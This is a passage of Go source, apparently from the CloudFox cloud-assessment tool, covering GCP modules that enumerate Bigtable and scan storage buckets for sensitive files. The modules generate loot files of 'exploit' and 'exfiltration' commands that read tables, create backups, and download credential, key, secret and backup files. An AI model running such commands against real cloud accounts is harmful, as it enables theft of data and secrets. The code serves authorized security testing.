func (m *BigtableModule) getAllInstances() []bigtableservice.BigtableInstanceInfo {
var all []bigtableservice.BigtableInstanceInfo
for _, instances := range m.ProjectInstances {
all = append(all, instances...)
}
return all
}
func (m *BigtableModule) getAllTables() []bigtableservice.BigtableTableInfo {
var all []bigtableservice.BigtableTableInfo
for _, tables := range m.ProjectTables {
all = append(all, tables...)
}
return all
}
func (m *BigtableModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Bigtable in project: %s", projectID), globals.GCP_BIGTABLE_MODULE_NAME)
}
svc := bigtableservice.New()
result, err := svc.ListInstances(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGTABLE_MODULE_NAME,
fmt.Sprintf("Could not enumerate Bigtable instances in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectInstances[projectID] = result.Instances
m.ProjectTables[projectID] = result.Tables
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["bigtable-commands"] = &internal.LootFile{
Name: "bigtable-commands",
Contents: "# Bigtable Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, instance := range result.Instances {
m.addInstanceToLoot(projectID, instance)
}
for _, table := range result.Tables {
m.addTableToLoot(projectID, table)
}
m.mu.Unlock()
}
func (m *BigtableModule) addInstanceToLoot(projectID string, instance bigtableservice.BigtableInstanceInfo) {
lootFile := m.LootMap[projectID]["bigtable-commands"]
if lootFile == nil {
return
}
var clusterNames []string
for _, cluster := range instance.Clusters {
clusterNames = append(clusterNames, cluster.Name)
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# BIGTABLE INSTANCE: %s\n"+
"# =============================================================================\n"+
"# Display Name: %s\n"+
"# Type: %s, State: %s\n"+
"# Clusters: %s\n",
instance.Name, instance.DisplayName,
instance.Type, instance.State,
strings.Join(clusterNames, ", "),
)
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe instance:
gcloud bigtable instances describe %s --project=%s
# List clusters in instance:
gcloud bigtable clusters list --instances=%s --project=%s
# List tables (gcloud):
gcloud bigtable instances tables list --instances=%s --project=%s
# List tables (cbt):
cbt -project %s -instance %s ls
# Get instance IAM policy:
gcloud bigtable instances get-iam-policy %s --project=%s
# List app profiles:
gcloud bigtable instances app-profiles list --instance=%s --project=%s
# === EXPLOIT COMMANDS ===
# List all tables in the instance:
cbt -project %s -instance %s ls
# (See per-table commands below for specific read/lookup/dump commands)
`,
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
instance.ProjectID, instance.Name,
instance.Name, instance.ProjectID,
instance.Name, instance.ProjectID,
instance.ProjectID, instance.Name,
)
// Add backup command with actual cluster name if available
if len(clusterNames) > 0 {
lootFile.Contents += fmt.Sprintf(
"# Create a backup (for exfiltration) - replace TABLE_NAME with actual table:\n"+
"gcloud bigtable backups create cloudfox-backup --instance=%s --cluster=%s --table=TABLE_NAME --expiration-date=$(date -u -d '+7 days' '+%%Y-%%m-%%dT%%H:%%M:%%SZ') --project=%s --async\n\n",
instance.Name, clusterNames[0], instance.ProjectID,
)
}
}
func (m *BigtableModule) addTableToLoot(projectID string, table bigtableservice.BigtableTableInfo) {
lootFile := m.LootMap[projectID]["bigtable-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# TABLE: %s (Instance: %s)\n"+
"# -----------------------------------------------------------------------------\n"+
"# Read first 10 rows:\n"+
"cbt -project %s -instance %s read %s count=10\n"+
"# Get table IAM policy:\n"+
"gcloud bigtable instances tables get-iam-policy %s --instance=%s --project=%s\n"+
"# Describe table (column families):\n"+
"cbt -project %s -instance %s ls %s\n\n",
table.Name, table.InstanceName,
table.ProjectID, table.InstanceName, table.Name,
table.Name, table.InstanceName, table.ProjectID,
table.ProjectID, table.InstanceName, table.Name,
)
}
func (m *BigtableModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *BigtableModule) getInstanceHeader() []string {
return []string{"Project", "Instance", "Display Name", "Type", "State", "Clusters", "IAM Binding Role", "IAM Binding Principal", "Public"}
}
func (m *BigtableModule) getTableHeader() []string {
return []string{"Project", "Instance", "Table", "IAM Binding Role", "IAM Binding Principal", "Public"}
}
func (m *BigtableModule) instancesToTableBody(instances []bigtableservice.BigtableInstanceInfo) [][]string {
var body [][]string
for _, instance := range instances {
publicAccess := "No"
if instance.PublicAccess {
publicAccess = "Yes"
}
var clusterDetails []string
for _, cluster := range instance.Clusters {
clusterDetails = append(clusterDetails, fmt.Sprintf("%s (%s)", cluster.Name, cluster.Location))
}
clusters := "-"
if len(clusterDetails) > 0 {
clusters = strings.Join(clusterDetails, ", ")
}
if len(instance.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(instance.ProjectID),
instance.Name,
instance.DisplayName,
instance.Type,
instance.State,
clusters,
"-",
"-",
publicAccess,
})
} else {
for _, binding := range instance.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(instance.ProjectID),
instance.Name,
instance.DisplayName,
instance.Type,
instance.State,
clusters,
binding.Role,
member,
publicAccess,
})
}
}
}
}
return body
}
func (m *BigtableModule) tablesToTableBody(tables []bigtableservice.BigtableTableInfo) [][]string {
var body [][]string
for _, table := range tables {
publicAccess := "No"
if table.PublicAccess {
publicAccess = "Yes"
}
if len(table.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(table.ProjectID),
table.InstanceName,
table.Name,
"-",
"-",
publicAccess,
})
} else {
for _, binding := range table.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(table.ProjectID),
table.InstanceName,
table.Name,
binding.Role,
member,
publicAccess,
})
}
}
}
}
return body
}
func (m *BigtableModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if instances, ok := m.ProjectInstances[projectID]; ok && len(instances) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "bigtable-instances",
Header: m.getInstanceHeader(),
Body: m.instancesToTableBody(instances),
})
}
if tables, ok := m.ProjectTables[projectID]; ok && len(tables) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "bigtable-tables",
Header: m.getTableHeader(),
Body: m.tablesToTableBody(tables),
})
}
return tableFiles
}
func (m *BigtableModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID := range m.ProjectInstances {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BigtableOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGTABLE_MODULE_NAME)
}
}
func (m *BigtableModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allInstances := m.getAllInstances()
allTables := m.getAllTables()
var tableFiles []internal.TableFile
if len(allInstances) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "bigtable-instances",
Header: m.getInstanceHeader(),
Body: m.instancesToTableBody(allInstances),
})
}
if len(allTables) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "bigtable-tables",
Header: m.getTableHeader(),
Body: m.tablesToTableBody(allTables),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BigtableOutput{
Table: tableFiles,
Loot: lootFiles,
}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGTABLE_MODULE_NAME)
}
}
+253
View File
@@ -0,0 +1,253 @@
package commands
import (
"context"
"fmt"
"sync"
bigtableenumservice "github.com/BishopFox/cloudfox/gcp/services/bigtableEnumService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPBigtableEnumCommand = &cobra.Command{
Use: globals.GCP_BIGTABLEENUM_MODULE_NAME,
Aliases: []string{"bt-enum", "bt-scan"},
Short: "Scan Bigtable instances, tables, and column families for sensitive data indicators",
Long: `Scan Bigtable metadata for potentially sensitive data.
Scans instance names, table names, and column family names against sensitive
data patterns (credentials, PII, financial, compliance keywords).
Detects resources with names suggesting they store:
- Credentials, tokens, or secrets
- PII (SSN, credit cards)
- Financial data (payments, billing, salary)
- Compliance-labeled data (HIPAA, GDPR, PII)`,
Run: runGCPBigtableEnumCommand,
}
type BigtableEnumModule struct {
gcpinternal.BaseGCPModule
ProjectResources map[string][]bigtableenumservice.SensitiveBTResource
LootMap map[string]map[string]*internal.LootFile
mu sync.Mutex
}
type BigtableEnumOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BigtableEnumOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BigtableEnumOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPBigtableEnumCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGTABLEENUM_MODULE_NAME)
if err != nil {
return
}
module := &BigtableEnumModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectResources: make(map[string][]bigtableenumservice.SensitiveBTResource),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *BigtableEnumModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Scanning Bigtable resources for sensitive data indicators...", globals.GCP_BIGTABLEENUM_MODULE_NAME)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGTABLEENUM_MODULE_NAME, m.processProject)
allResources := m.getAllResources()
if len(allResources) == 0 {
logger.InfoM("No sensitive Bigtable resources found", globals.GCP_BIGTABLEENUM_MODULE_NAME)
return
}
criticalCount := 0
highCount := 0
for _, r := range allResources {
switch r.RiskLevel {
case "CRITICAL":
criticalCount++
case "HIGH":
highCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d sensitive Bigtable resources (%d CRITICAL, %d HIGH)",
len(allResources), criticalCount, highCount), globals.GCP_BIGTABLEENUM_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *BigtableEnumModule) getAllResources() []bigtableenumservice.SensitiveBTResource {
var all []bigtableenumservice.SensitiveBTResource
for _, resources := range m.ProjectResources {
all = append(all, resources...)
}
return all
}
func (m *BigtableEnumModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Scanning Bigtable in project: %s", projectID), globals.GCP_BIGTABLEENUM_MODULE_NAME)
}
svc := bigtableenumservice.New()
resources, err := svc.EnumerateSensitiveResources(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGTABLEENUM_MODULE_NAME,
fmt.Sprintf("Could not scan Bigtable in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectResources[projectID] = resources
if len(resources) > 0 {
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
}
lootFile := &internal.LootFile{
Name: "bigtable-enum-commands",
Contents: "# Bigtable Commands for Sensitive Resources\n# Generated by CloudFox\n\n",
}
for _, r := range resources {
if r.Table != "" {
lootFile.Contents += fmt.Sprintf(
"# [%s] %s - %s/%s\n# %s\ncbt -project %s -instance %s read %s count=10\n\n",
r.RiskLevel, r.Category, r.Instance, r.Table,
r.Description,
projectID, r.Instance, r.Table,
)
} else {
lootFile.Contents += fmt.Sprintf(
"# [%s] %s - instance: %s\n# %s\ncbt -project %s -instance %s ls\n\n",
r.RiskLevel, r.Category, r.Instance,
r.Description,
projectID, r.Instance,
)
}
}
m.LootMap[projectID]["bigtable-enum-commands"] = lootFile
}
m.mu.Unlock()
}
func (m *BigtableEnumModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeBigtableHierarchicalOutput(ctx, logger)
} else {
m.writeBigtableFlatOutput(ctx, logger)
}
}
func (m *BigtableEnumModule) getHeader() []string {
return []string{"Project", "Instance", "Table", "Column Family", "Category", "Risk Level", "Description"}
}
func (m *BigtableEnumModule) resourcesToTableBody(resources []bigtableenumservice.SensitiveBTResource) [][]string {
var body [][]string
for _, r := range resources {
body = append(body, []string{
m.GetProjectName(r.ProjectID),
r.Instance,
r.Table,
r.ColumnFamily,
r.Category,
r.RiskLevel,
r.Description,
})
}
return body
}
func (m *BigtableEnumModule) buildTablesForProject(projectID string) []internal.TableFile {
resources := m.ProjectResources[projectID]
if len(resources) == 0 {
return nil
}
return []internal.TableFile{
{
Name: "bigtable-enum",
Header: m.getHeader(),
Body: m.resourcesToTableBody(resources),
},
}
}
func (m *BigtableEnumModule) writeBigtableHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID, resources := range m.ProjectResources {
if len(resources) == 0 {
continue
}
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BigtableEnumOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGTABLEENUM_MODULE_NAME)
}
}
func (m *BigtableEnumModule) writeBigtableFlatOutput(ctx context.Context, logger internal.Logger) {
allResources := m.getAllResources()
if len(allResources) == 0 {
return
}
tables := []internal.TableFile{
{
Name: "bigtable-enum",
Header: m.getHeader(),
Body: m.resourcesToTableBody(allResources),
},
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BigtableEnumOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGTABLEENUM_MODULE_NAME)
}
}
+617
View File
@@ -0,0 +1,617 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
bucketenumservice "github.com/BishopFox/cloudfox/gcp/services/bucketEnumService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var (
bucketEnumMaxObjects int
bucketEnumAllObjects bool
bucketEnumNoLimit bool
maxObjectsWasSet bool // tracks if --max-objects was explicitly set
)
var GCPStorageEnumCommand = &cobra.Command{
Use: globals.GCP_STORAGEENUM_MODULE_NAME,
Aliases: []string{"bucket-enum", "bucket-scan", "gcs-enum", "sensitive-files"},
Short: "Enumerate GCS buckets for sensitive files (credentials, secrets, configs)",
Long: `Enumerate GCS buckets to find potentially sensitive files.
This module scans bucket contents for files that may contain:
- Credentials (service account keys, SSH keys, certificates)
- Secrets (environment files, API keys, tokens)
- Configuration files (may contain hardcoded secrets)
- Database backups
- Terraform state files
- Source code/git repositories
File categories detected:
- Credential: .json keys, .pem, .key, .p12, SSH keys
- Secret: .env, passwords, API keys, tokens
- Config: YAML, properties, settings files
- Backup: SQL dumps, archives
- Source: Git repositories
- Cloud: Cloud Functions source, build artifacts
Flags:
--all-objects Report ALL bucket objects (not just sensitive files)
--no-limit Remove the 1000 object-per-bucket scan limit
--max-objects Set a custom object-per-bucket scan limit
By default, only sensitive files are reported with a 1000 object scan limit.
WARNING: --all-objects and --no-limit may take a long time for large buckets.`,
Run: runGCPStorageEnumCommand,
}
func init() {
GCPStorageEnumCommand.Flags().IntVar(&bucketEnumMaxObjects, "max-objects", 1000, "Maximum objects to scan per bucket")
GCPStorageEnumCommand.Flags().BoolVar(&bucketEnumAllObjects, "all-objects", false, "Report ALL objects, not just sensitive files (implies --no-limit unless --max-objects is set)")
GCPStorageEnumCommand.Flags().BoolVar(&bucketEnumNoLimit, "no-limit", false, "Remove the 1000 object-per-bucket scan limit (still only reports sensitive files)")
}
type BucketEnumModule struct {
gcpinternal.BaseGCPModule
ProjectSensitiveFiles map[string][]bucketenumservice.SensitiveFileInfo // projectID -> files
ProjectAllObjects map[string][]bucketenumservice.ObjectInfo // projectID -> all objects (when --all-objects)
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
EnumerateAll bool // whether to enumerate all objects
MaxObjects int // max objects per bucket (0 = unlimited)
mu sync.Mutex
}
type BucketEnumOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BucketEnumOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BucketEnumOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPStorageEnumCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_STORAGEENUM_MODULE_NAME)
if err != nil {
return
}
// Determine effective max objects limit
effectiveMaxObjects := bucketEnumMaxObjects
maxObjectsExplicitlySet := cmd.Flags().Changed("max-objects")
// --no-limit flag sets unlimited
if bucketEnumNoLimit {
effectiveMaxObjects = 0
}
// --all-objects implies no limit UNLESS --max-objects was explicitly set
if bucketEnumAllObjects && !maxObjectsExplicitlySet {
effectiveMaxObjects = 0
}
module := &BucketEnumModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectSensitiveFiles: make(map[string][]bucketenumservice.SensitiveFileInfo),
ProjectAllObjects: make(map[string][]bucketenumservice.ObjectInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
EnumerateAll: bucketEnumAllObjects,
MaxObjects: effectiveMaxObjects,
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *BucketEnumModule) Execute(ctx context.Context, logger internal.Logger) {
maxMsg := fmt.Sprintf("%d", m.MaxObjects)
if m.MaxObjects == 0 {
maxMsg = "unlimited"
}
if m.EnumerateAll {
logger.InfoM(fmt.Sprintf("Enumerating ALL bucket contents (%s objects per bucket)...", maxMsg), globals.GCP_STORAGEENUM_MODULE_NAME)
} else {
logger.InfoM(fmt.Sprintf("Scanning buckets for sensitive files (%s objects per bucket)...", maxMsg), globals.GCP_STORAGEENUM_MODULE_NAME)
}
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_STORAGEENUM_MODULE_NAME, m.processProject)
if m.EnumerateAll {
// Full enumeration mode
allObjects := m.getAllObjects()
if len(allObjects) == 0 {
logger.InfoM("No objects found in buckets", globals.GCP_STORAGEENUM_MODULE_NAME)
return
}
// Count public objects
publicCount := 0
for _, obj := range allObjects {
if obj.IsPublic {
publicCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d object(s) across all buckets (%d public)",
len(allObjects), publicCount), globals.GCP_STORAGEENUM_MODULE_NAME)
} else {
// Sensitive files mode
allFiles := m.getAllSensitiveFiles()
if len(allFiles) == 0 {
logger.InfoM("No sensitive files found", globals.GCP_STORAGEENUM_MODULE_NAME)
return
}
// Count by risk level
criticalCount := 0
highCount := 0
for _, file := range allFiles {
switch file.RiskLevel {
case "CRITICAL":
criticalCount++
case "HIGH":
highCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d potentially sensitive file(s) (%d CRITICAL, %d HIGH)",
len(allFiles), criticalCount, highCount), globals.GCP_STORAGEENUM_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
func (m *BucketEnumModule) getAllObjects() []bucketenumservice.ObjectInfo {
var all []bucketenumservice.ObjectInfo
for _, objects := range m.ProjectAllObjects {
all = append(all, objects...)
}
return all
}
func (m *BucketEnumModule) getAllSensitiveFiles() []bucketenumservice.SensitiveFileInfo {
var all []bucketenumservice.SensitiveFileInfo
for _, files := range m.ProjectSensitiveFiles {
all = append(all, files...)
}
return all
}
func (m *BucketEnumModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Scanning buckets in project: %s", projectID), globals.GCP_STORAGEENUM_MODULE_NAME)
}
svc := bucketenumservice.New()
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
if m.EnumerateAll {
m.LootMap[projectID]["storage-enum-all-commands"] = &internal.LootFile{
Name: "storage-enum-all-commands",
Contents: "# GCS Download Commands for All Objects\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
} else {
m.LootMap[projectID]["storage-enum-sensitive-commands"] = &internal.LootFile{
Name: "storage-enum-sensitive-commands",
Contents: "# GCS Download Commands for CRITICAL/HIGH Risk Files\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
m.LootMap[projectID]["storage-enum-commands"] = &internal.LootFile{
Name: "storage-enum-commands",
Contents: "# GCS Download Commands for All Detected Files\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
}
m.mu.Unlock()
// Get list of buckets
buckets, err := svc.GetBucketsList(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGEENUM_MODULE_NAME,
fmt.Sprintf("Could not enumerate buckets in project %s", projectID))
return
}
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Found %d bucket(s) in project %s", len(buckets), projectID), globals.GCP_STORAGEENUM_MODULE_NAME)
}
if m.EnumerateAll {
// Enumerate ALL objects in each bucket
var projectObjects []bucketenumservice.ObjectInfo
for _, bucketName := range buckets {
objects, err := svc.EnumerateAllBucketObjects(bucketName, projectID, m.MaxObjects)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGEENUM_MODULE_NAME,
fmt.Sprintf("Could not enumerate bucket %s in project %s", bucketName, projectID))
continue
}
projectObjects = append(projectObjects, objects...)
}
m.mu.Lock()
m.ProjectAllObjects[projectID] = projectObjects
// Group objects by bucket and add bucket-level headers
currentBucket := ""
for _, obj := range projectObjects {
if obj.BucketName != currentBucket {
currentBucket = obj.BucketName
if lootFile := m.LootMap[projectID]["storage-enum-all-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# BUCKET: gs://%s\n"+
"# =============================================================================\n\n",
currentBucket,
)
}
}
m.addObjectToLoot(projectID, obj)
}
m.mu.Unlock()
} else {
// Scan for sensitive files only
var projectFiles []bucketenumservice.SensitiveFileInfo
for _, bucketName := range buckets {
files, err := svc.EnumerateBucketSensitiveFiles(bucketName, projectID, m.MaxObjects)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_STORAGEENUM_MODULE_NAME,
fmt.Sprintf("Could not scan bucket %s in project %s", bucketName, projectID))
continue
}
projectFiles = append(projectFiles, files...)
}
m.mu.Lock()
m.ProjectSensitiveFiles[projectID] = projectFiles
// Group files by bucket and add bucket-level headers
currentBucket := ""
for _, file := range projectFiles {
if file.BucketName != currentBucket {
currentBucket = file.BucketName
for _, lootName := range []string{"storage-enum-commands", "storage-enum-sensitive-commands"} {
if lootFile := m.LootMap[projectID][lootName]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# BUCKET: gs://%s\n"+
"# =============================================================================\n\n",
currentBucket,
)
}
}
}
m.addFileToLoot(projectID, file)
}
m.mu.Unlock()
}
}
func (m *BucketEnumModule) addObjectToLoot(projectID string, obj bucketenumservice.ObjectInfo) {
if lootFile := m.LootMap[projectID]["storage-enum-all-commands"]; lootFile != nil {
publicMarker := ""
if obj.IsPublic {
publicMarker = " [PUBLIC]"
}
// Build local directory path: bucket/BUCKETNAME/OBJECTPATH/
localDir := fmt.Sprintf("bucket/%s/%s", obj.BucketName, getObjectDir(obj.ObjectName))
localCpCmd := fmt.Sprintf("gsutil cp gs://%s/%s %s", obj.BucketName, obj.ObjectName, localDir)
lootFile.Contents += fmt.Sprintf(
"# gs://%s/%s%s\n"+
"# Size: %d bytes, Type: %s\n"+
"mkdir -p %s\n"+
"%s\n\n",
obj.BucketName, obj.ObjectName, publicMarker,
obj.Size, obj.ContentType,
localDir,
localCpCmd,
)
}
}
func (m *BucketEnumModule) addFileToLoot(projectID string, file bucketenumservice.SensitiveFileInfo) {
// Build local directory path: bucket/BUCKETNAME/OBJECTPATH/
localDir := fmt.Sprintf("bucket/%s/%s", file.BucketName, getObjectDir(file.ObjectName))
localCpCmd := fmt.Sprintf("gsutil cp gs://%s/%s %s", file.BucketName, file.ObjectName, localDir)
// All files go to the general commands file (without risk ranking)
if lootFile := m.LootMap[projectID]["storage-enum-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# %s - gs://%s/%s\n"+
"# %s, Size: %d bytes\n"+
"mkdir -p %s\n"+
"%s\n\n",
file.Category,
file.BucketName, file.ObjectName,
file.Description, file.Size,
localDir,
localCpCmd,
)
}
// CRITICAL and HIGH risk files also go to the sensitive commands file
if file.RiskLevel == "CRITICAL" || file.RiskLevel == "HIGH" {
if lootFile := m.LootMap[projectID]["storage-enum-sensitive-commands"]; lootFile != nil {
lootFile.Contents += fmt.Sprintf(
"# [%s] %s - gs://%s/%s\n"+
"# Category: %s, Size: %d bytes\n"+
"mkdir -p %s\n"+
"%s\n\n",
file.RiskLevel, file.Category,
file.BucketName, file.ObjectName,
file.Description, file.Size,
localDir,
localCpCmd,
)
}
}
}
func (m *BucketEnumModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *BucketEnumModule) getFilesHeader() []string {
return []string{"Project", "Bucket", "Object Name", "Category", "Size", "Public", "Encryption", "Description"}
}
func (m *BucketEnumModule) getSensitiveFilesHeader() []string {
return []string{"Project", "Bucket", "Object Name", "Category", "Size", "Public", "Encryption"}
}
func (m *BucketEnumModule) getAllObjectsHeader() []string {
return []string{"Project", "Bucket", "Object Name", "Content Type", "Size", "Public", "Encryption", "Updated"}
}
func (m *BucketEnumModule) filesToTableBody(files []bucketenumservice.SensitiveFileInfo) [][]string {
var body [][]string
for _, file := range files {
publicStatus := "No"
if file.IsPublic {
publicStatus = "Yes"
}
body = append(body, []string{
m.GetProjectName(file.ProjectID),
file.BucketName,
file.ObjectName,
file.Category,
formatFileSize(file.Size),
publicStatus,
file.Encryption,
file.Description,
})
}
return body
}
func (m *BucketEnumModule) sensitiveFilesToTableBody(files []bucketenumservice.SensitiveFileInfo) [][]string {
var body [][]string
for _, file := range files {
if file.RiskLevel == "CRITICAL" || file.RiskLevel == "HIGH" {
publicStatus := "No"
if file.IsPublic {
publicStatus = "Yes"
}
body = append(body, []string{
m.GetProjectName(file.ProjectID),
file.BucketName,
file.ObjectName,
file.Category,
formatFileSize(file.Size),
publicStatus,
file.Encryption,
})
}
}
return body
}
func (m *BucketEnumModule) allObjectsToTableBody(objects []bucketenumservice.ObjectInfo) [][]string {
var body [][]string
for _, obj := range objects {
publicStatus := "No"
if obj.IsPublic {
publicStatus = "Yes"
}
body = append(body, []string{
m.GetProjectName(obj.ProjectID),
obj.BucketName,
obj.ObjectName,
obj.ContentType,
formatFileSize(obj.Size),
publicStatus,
obj.Encryption,
obj.Updated,
})
}
return body
}
func (m *BucketEnumModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if m.EnumerateAll {
// Full enumeration mode
objects := m.ProjectAllObjects[projectID]
if len(objects) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "storage-enum-all",
Header: m.getAllObjectsHeader(),
Body: m.allObjectsToTableBody(objects),
})
}
} else {
// Sensitive files mode
